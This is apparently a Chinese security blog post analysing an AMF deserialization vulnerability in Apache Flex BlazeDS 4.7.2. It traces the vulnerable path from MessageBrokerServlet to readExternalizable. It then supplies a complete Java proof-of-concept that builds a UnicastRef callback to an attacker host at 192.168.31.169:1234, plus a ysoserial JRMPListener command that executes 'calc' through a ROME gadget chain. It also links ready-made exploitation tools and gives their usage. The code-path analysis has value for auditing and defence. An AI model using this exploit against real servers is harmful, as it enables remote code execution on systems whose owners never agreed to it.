WEB-INF\web.xml
MessageBrokerServlet类处理/messagebroker/*请求
在MessageBrokerServlet的service方法中,先将HttpServletRequest等对象存到FlexContext的变量ThreadLocalObjects中
随后根据endpointPath去获取对应的endpoint
而web.xml已经指定过配置文件
在配置文件中可以看到是由AMFEndpoint来处理/messagebroker/amf这个请求(endpointPath),即endpointPath的endpoint就是AMFEndpoint类
回到MessageBrokerServlet.class
在得到处理请求的类后就使用该类的service方法处理请求
在前面的代码中可以看到endpoint的对象类型是Endpoint,而Endpoint是一个接口,所以要找到该接口的实现类
所以实际就是BaseHTTPEndpoint的service方法来处理/amf请求
在service方法中,会交由filterChain.invoke处理上下文内容
filterChain:
createFilterChain是一个抽象方法
需要找到实现他的子类,即AMFEndpoint
跟进SerializationFilter类查看invoke方法
其会获取输入流封装到deserializer对象
具体可以看到getHttpRequest方法返回的内容就是之前存在threadLocalObject里的信息
initialize方法:
随后进入到readMessage处理上下文内容
在readMessage方法中,会执行三次readUnsignedShort方法分别获取version、headersCount和bodyCount
漏洞触发主要在bodyCount
走到readBody
进入到readObject方法
因为之前初始化的时候赋值过,所以这的amfIn就是Amf0Input对象,即这里的readObject其实是Amf0Input的readObject
跟进Amf0Input查看readObject方法,该方法会先读取传入的数据字节,然后根据不同的属性进入对应的方法进行处理
查看readObjectValue
已知type是amfIn.readUnsignedShort 获取得来,type是2字节,这里会首先读取1字节,当读取的值是17时(序列化时写入)就会再初始化一次avmPlusInput,并进入到readObject方法
在readObject方法中,再读取1字节
跟进readObjectValue方法,当读到的值是10时(序列化时写入)就会进入到readScriptObject方法
在readScriptObject方法中,会根据传入的类名返回一个对象
跟进getClassFromClassName查看具体实现
createClass方法会返回一个初始化的对象
然后会将对象传进getProxyAndRegister方法查找对应的属性代理,用于处理对象的属性读写,如果注册表中存在,则传进createDefaultInstance方法实例化对象
然而注册表里只有几个异常和Map对象
具体可以看getRegistry方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 private static boolean preregistered = false ; ... public static PropertyProxyRegistry getRegistry () { if (!preregistered) { preRegister(); preregistered = true ; } return registry; } private static void preRegister () { ThrowableProxy proxy = new ThrowableProxy(); registry.register(MessageException.class, proxy); registry.register(LocalizedException.class, proxy); registry.register(Throwable.class, proxy); MapProxy mapProxy = new MapProxy(); registry.register(ASObject.class, mapProxy); registry.register(HashMap.class, mapProxy); registry.register(AbstractMap.class, mapProxy); registry.register(Map.class, mapProxy); }
所以流程会将对象传入createDefaultInstance方法进行实例化
查看createDefaultInstance可以看到返回了一个实例化对象
在获得一个实例化对象后,会判断该对象是否实现了Externalizable接口,如果实现了则进入readExternalizable方法,在该方法里使用readExternal方法进行反序列化,漏洞在此触发
按照流程,想要利用这一步的反序列化,需要找一个实现了Externalizable接口且有公共无参构造函数的利用链,比如sun.rmi.server.UnicastRef
改一下ysoserial的JRMPClient即可得到一个POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import flex.messaging.io.SerializationContext;import flex.messaging.io.amf.*;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.util.Gadgets;import ysoserial.payloads.util.Reflections; import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.IOException;import java.lang.reflect.Field;import java.math.BigInteger;import java.util.HashMap;import java.util.Map;import java.util.PriorityQueue; public class AMFEXPLoit { public static void main (String[] args) throws Exception { Object object = GetObject("192.168.31.169" ,1234 ); byte [] amf = serialize(object); System.out.println("序列化:" + amf); ActionMessage actionMessage = deserialize(amf); System.out.println("反序列化:" + actionMessage); } public static Object GetObject (String host,int port) throws Exception { ObjID id = new ObjID(new Random().nextInt()); TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false )); return ref; } public static byte [] serialize(Object data) throws IOException { MessageBody body = new MessageBody(); body.setData(data); ActionMessage message = new ActionMessage(); message.addBody(body); ByteArrayOutputStream out = new ByteArrayOutputStream(); AmfMessageSerializer serializer = new AmfMessageSerializer(); serializer.initialize(SerializationContext.getSerializationContext(), out, null ); serializer.writeMessage(message); return out.toByteArray(); } public static ActionMessage deserialize (byte [] amf) throws ClassNotFoundException, IOException { ByteArrayInputStream in = new ByteArrayInputStream(amf); AmfMessageDeserializer deserializer = new AmfMessageDeserializer(); deserializer.initialize(SerializationContext.getSerializationContext(), in, null ); ActionMessage actionMessage = new ActionMessage(); deserializer.readMessage(actionMessage, new ActionContext()); return actionMessage; } }
服务器启动JRMP,运行POC
java -cp ysoserial-1.0 .jar ysoserial.exploit.JRMPListener 1234 ROME "calc"
当然这只是基于实现了Externalizable接口的反序列化利用,在判断即使没有实现Externalizable,流程依旧会往下走其他反序列化逻辑,也就是说,哪怕没有实现Externalizable接口,也可以找实现了Serializable 接口的链来进行利用,当然还是需要有公共无参构造方法
最后 写了个利用工具https://github.com/novysodope/AMF_JRMP
不出网参考https://github.com/codewhitesec/ColdFusionPwn ColdFusionPwn直接下载他的发布版本使用会提示找不到主类,建议下载源码用idea运行,参数直接[-s|-e] [payload type] '[command]' [outfile]
Tips 在往后的审计中,如果看到有引用
<dependency> <groupId>org.apache.flex.blazeds</groupId> <artifactId>flex-messaging-core</artifactId> <version>4.7.2</version> </dependency>
或者jar包中用到这种的
基本可以确定存在flex相关漏洞